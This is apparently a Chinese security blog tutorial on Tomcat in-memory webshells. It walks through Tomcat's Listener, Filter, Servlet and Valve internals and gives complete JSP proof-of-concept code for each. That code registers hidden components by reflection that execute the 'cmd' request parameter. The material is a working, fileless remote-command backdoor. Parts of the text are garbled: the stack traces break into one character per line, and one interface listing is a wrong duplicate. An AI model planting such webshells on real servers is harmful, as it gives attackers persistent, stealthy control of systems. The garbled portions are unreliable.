Tomcat内存马
前言
描述Servlet3.0后允许动态注册组件
这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。
而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
关键在于 JSP->可识别类(恶意类)
所以需要看写在java文件中被系统调用时的堆栈过程,利用jsp技术把这个注册过程写入jsp,在访问jsp之后就会执行这个逻辑以此注入内存马
问题1:
注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作?访问后生效
Listener型内存马
Servlet有三种监听器:
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
这三种最合适的莫过于ServletRequestListener,只要访问Servlet的任何资源都会触发这个监听器
创建Listener:
package org.example.demo;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;
@WebListener
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed (ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
@Override
public void requestInitialized (ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
String cmd = servletRequest.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
验证:
调用堆栈如下:
requestInitialized:13, Shell_Listener (org.example.demo)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol
C
o
n
n
e
c
t
i
o
n
H
a
n
d
l
e
r
(
o
r
g
.
a
p
a
c
h
e
.
c
o
y
o
t
e
)
d
o
R
u
n
:
1794
,
N
i
o
E
n
d
p
o
i
n
t
ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint
ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor
W
o
r
k
e
r
(
o
r
g
.
a
p
a
c
h
e
.
t
o
m
c
a
t
.
u
t
i
l
.
t
h
r
e
a
d
s
)
r
u
n
:
61
,
T
a
s
k
T
h
r
e
a
d
Worker (org.apache.tomcat.util.threads) run:61, TaskThread
Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
跟进看函数逻辑:
public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
简单分析一下创建监听器的流程:
1.获取当前上下文的所有监听器
2.获取StandardContext上下文
3.创建监听器
所以利用jsp技术动态创建监听器也是一样的道理
第一步 添加监听器
首先就是添加监听器,跟进getApplicationEventListeners
函数
继续跟进applicationEventListenersList
发现这个属性就可以直接添加监听器了
跟进:
是addApplicationEventListener
函数可以添加监听器,那么第一步就解决了
这里注意的就是这个StandardContext
类的,后面jsp的时候获取也是StandardContext
类,但是只有getServletContext
这个方法,所以获取他的父类Context,使用getContext
方法
第二步 获取ServletContext
invoke:116, StandardHostValve (org.apache.catalina.core)
这一步可以发现他获取servlet的方式:
恰好jsp也内置了request,所以这里也是可以利用
只需要反射利用Field获取即可
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requests = (Request) requestField.get(request);
这里回顾的时候有点太久没学反射了,把request.get(obj)和request.get(null)给搞混了
这里有两个例子(返回的结果都是Hello, qingfeng!
),运行一下就能会议起来了
例一[Field.get(null)]
package org.example.demo;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws IllegalAccessException {
MyClass obj = new MyClass();
// 获取 Class 对象
Class<?> cls = obj.getClass();
// 获取字段的值
try {
Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值
// 获取字段的值
Object value = field.get(null);
System.out.println("字段的值:" + value);
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
}
class MyClass {
static String myField = "Hello, qingfeng!";
}
例二[Field.get(obj)]
package org.example.demo;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws IllegalAccessException {
MyClass obj = new MyClass();
// 获取 Class 对象
Class<?> cls = obj.getClass();
// 获取字段的值
try {
Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值
// 获取字段的值
Object value = field.get(obj);
System.out.println("字段的值:" + value);
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
}
class MyClass {
private String myField = "Hello, qingfeng!";
}
POC:
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebListener" %>
<%!
@WebListener
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed (ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
@Override
public void requestInitialized (ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
String cmd = servletRequest.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requests = (Request) requestField.get(request);
StandardContext context = (StandardContext)requests.getContext();
ServletListener servletListener = new ServletListener();
context.addApplicationEventListener(servletListener);
%>
Filter型内存马
Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活。
首先同理创建一个Java文件写Filter型内存马:
package org.example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class ServletFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
记得要加chain.doFilter(request, response);
不然后面都被阻塞了
在cmd下断点看堆栈情况:
doFilter:17, ServletFilter (org.example.demo)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol
C
o
n
n
e
c
t
i
o
n
H
a
n
d
l
e
r
(
o
r
g
.
a
p
a
c
h
e
.
c
o
y
o
t
e
)
d
o
R
u
n
:
1794
,
N
i
o
E
n
d
p
o
i
n
t
ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint
ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor
W
o
r
k
e
r
(
o
r
g
.
a
p
a
c
h
e
.
t
o
m
c
a
t
.
u
t
i
l
.
t
h
r
e
a
d
s
)
r
u
n
:
61
,
T
a
s
k
T
h
r
e
a
d
Worker (org.apache.tomcat.util.threads) run:61, TaskThread
Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
和Listener同理,我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}
Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来。
首先找到filters属性的定义看他的类型:
需要一个ApplicationFilterConfig类
,往上一步看是如何创建ApplicationFilterConfig类的
ApplicationFilterFactory
的createFilterChain
方法创建了ApplicationFilterChain
类,跟进createFilterChain
看一下:
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
// If there is no servlet to execute, return null
if (servlet \=\= null) {
return null;
}
// Create and initialize a filter chain object
ApplicationFilterChain filterChain \= null;
if (request instanceof Request) {
Request req \= (Request) request;
if (Globals.IS\_SECURITY\_ENABLED) {
// Security: Do not recycle
filterChain \= new ApplicationFilterChain();
} else {
filterChain \= (ApplicationFilterChain) req.getFilterChain();
if (filterChain \=\= null) {
filterChain \= new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain \= new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context \= (StandardContext) wrapper.getParent();
FilterMap filterMaps[] \= context.findFilterMaps();
// If there are no filter mappings, we are done
if ((filterMaps \=\= null) || (filterMaps.length \=\= 0)) {
return filterChain;
}
// Acquire the information we will need to match filter mappings
DispatcherType dispatcher \=
(DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);
String requestPath \= null;
Object attribute \= request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);
if (attribute !\= null){
requestPath \= attribute.toString();
}
String servletName \= wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig \=\= null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig \=\= null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Return the completed filter chain
return filterChain;
}
简化一下逻辑就是这样:
1. filterChain = new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象
2. StandardContext context = (StandardContext) wrapper.getParent(); 获取当前进程Context
3. FilterMap filterMaps[] = context.findFilterMaps(); 通过Context获取所有过滤器
4. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig
5. filterChain.addFilter(filterConfig); 添加过滤器
一个小知识:一个filterConfig
对应一个filter,但是一个filter可以有多个filterConfig
这里需要了解一下FilterMap和FilterConfig
filterMap主要存储的是urlPatterns和filterName这些信息
恰好对应配置的这些标签:
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
filterConfig存储的是filterDef,filterDef下有filterClass和filterName这些信息
filterDef这两项配置对应的恰好就说注册表里面的配置:
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
因此构造恶意的Filter就需要注册这些信息才能使得Filter生效
1. filterChain = new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象
2. StandardContext context = (StandardContext) wrapper.getParent(); 获取当前进程Context
3. FilterMap filterMaps[] = context.findFilterMaps(); 通过Context获取所有过滤器
4. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig
5. filterChain.addFilter(filterConfig); 添加过滤器
第一步 获取ServletContext
其实第一步是和上面原生的一样创建ApplicationFilterChain对象,但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext)requestImp.getContext();
还有另一种获取StandardContext的方式,Tomcat启动会为每个环境创建Session、Cookie等信息,都由StandardContext控制
所以可以利用request.getSession().getServletContext()
获取,但是request.getSession().getServletContext()
只是得到了ApplicationContext,还需要再反射一次才能获取StandardContext,比较麻烦,如下图所示
第二步 设置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("ServletFilter");
filterDef.setFilterClass(servletFilter.getClass().getName());
filterDef.setFilter(servletFilter);
standardContext.addFilterDef(filterDef);
第三步 设置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(servletFilter.getClass().getName());
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
standardContext.addFilterMap(filterMap);
DispatcherType
是一个枚举类型,它定义了 Servlet 中的请求调度器类型。在这里.REQUEST
表示该过滤器将被调度处理来自客户端的请求
第四步 包装FilterDef和FilterConfig
Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("ServletFilter", applicationFilterConfig);
这一步的关键代码看StandardContext的filterStart
方法的16,17,18三行:
public boolean filterStart() {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}
return ok;
}
POC
<%@ page import="javax.servlet.annotation.WebFilter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%!
@WebFilter("/*")
public class ServletFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext)requestImp.getContext();
ServletFilter servletFilter = new ServletFilter();
//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("ServletFilter");
filterDef.setFilterClass(servletFilter.getClass().getName());
filterDef.setFilter(servletFilter);
standardContext.addFilterDef(filterDef);
//FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("ServletFilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
standardContext.addFilterMapBefore(filterMap);
//FilterConfig
Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("ServletFilter", applicationFilterConfig);
%>
Servlet型内存马
Servlet是最晚被调用的,调用顺序为Listener->Filter->Servlet
servlet分为四个阶段
1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用
2.service(),服务阶段。处理客户请求,doGet(),doPost()等
3.doGet(),doPost()处理阶段
4.destory(),销毁阶段
构造一个恶意类
package org.example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/ServletShell")
public class ServletServlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
这次查看堆栈信息是看不到创建Servlet的过程的,只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片
我们重点关注web.xmlwebConfig解析的下一步,xml赋值对象configureContext,定位org.apache.catalina.startup
的ContextConfig
类的configureContext(WebXml webxml)
方法:
private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
//
/*
.......
加载xml文件
Wrapper wrapper = context.createWrapper();
*/
//
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
/*
简化代码
*/
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
SessionConfig sessionConfig = webxml.getSessionConfig();
if (sessionConfig != null) {
if (sessionConfig.getSessionTimeout() != null) {
context.setSessionTimeout(
sessionConfig.getSessionTimeout().intValue());
}
SessionCookieConfig scc =
context.getServletContext().getSessionCookieConfig();
scc.setName(sessionConfig.getCookieName());
scc.setDomain(sessionConfig.getCookieDomain());
scc.setPath(sessionConfig.getCookiePath());
scc.setComment(sessionConfig.getCookieComment());
if (sessionConfig.getCookieHttpOnly() != null) {
scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());
}
if (sessionConfig.getCookieSecure() != null) {
scc.setSecure(sessionConfig.getCookieSecure().booleanValue());
}
if (sessionConfig.getCookieMaxAge() != null) {
scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());
}
if (sessionConfig.getSessionTrackingModes().size() > 0) {
context.getServletContext().setSessionTrackingModes(
sessionConfig.getSessionTrackingModes());
}
}
// Context doesn't use version directly
// ....
}
这里面可以提取出几个关键代码:
Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
这个就是注册Servlet的关键流程
写JSP文件注册即可
POC
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
@WebServlet(name = "ServletServlet", value = "/ServletServlet")
public class ServletServlet extends HttpServlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request) requestField.get(request);
StandardContext context = (StandardContext) requestImp.getContext();
Wrapper wrapper = context.createWrapper();
wrapper.setName("ServletServlet");
wrapper.setServletClass(ServletServlet.class.getName());
wrapper.setServlet(new ServletServlet());
context.addChild(wrapper);
context.addServletMappingDecoded("/ServletServlet", "ServletServlet");
%>
首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发:
缺点就说必须访问对应的路径,不利于隐藏
valve型内存马
Tomcat有四大组件,分别是Engine
,Host
,Context
,Wrapper
。这四个之间的消息传递与沟通离不开Valve(阀门)
与Pipeline(管道)
Valve的接口如下:
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的
但是需要讲构造的恶意Valve实现类加入到调用链中,这就需要用到Pipeline
,其接口如下:
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
使用Pipeline
时需要注意两个点
1.pipeline添加恶意类实现RCE
2.调用getNext()使得整条链子不会断,否则虽然可以执行命令但系统会出错
POC
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%!
public class ServletValve implements Valve {
private Valve next;
@Override
public Valve getNext() {
return next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
Runtime.getRuntime().exec("calc");
this.getNext().invoke(request, response);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request)requestField.get(request);
StandardContext standardContext = (StandardContext)requestImp.getContext();
Pipeline pipeline = standardContext.getPipeline();
pipeline.addValve(new ServletValve());
%>
访问一次后构造内存马,第二次生效
参考链接
https://goodapple.top/archives/1355
https://xz.aliyun.com/t/11988
https://blog.csdn.net/u010883443/article/details/107463782
https://www.cnblogs.com/coldridgeValley/p/5816414.html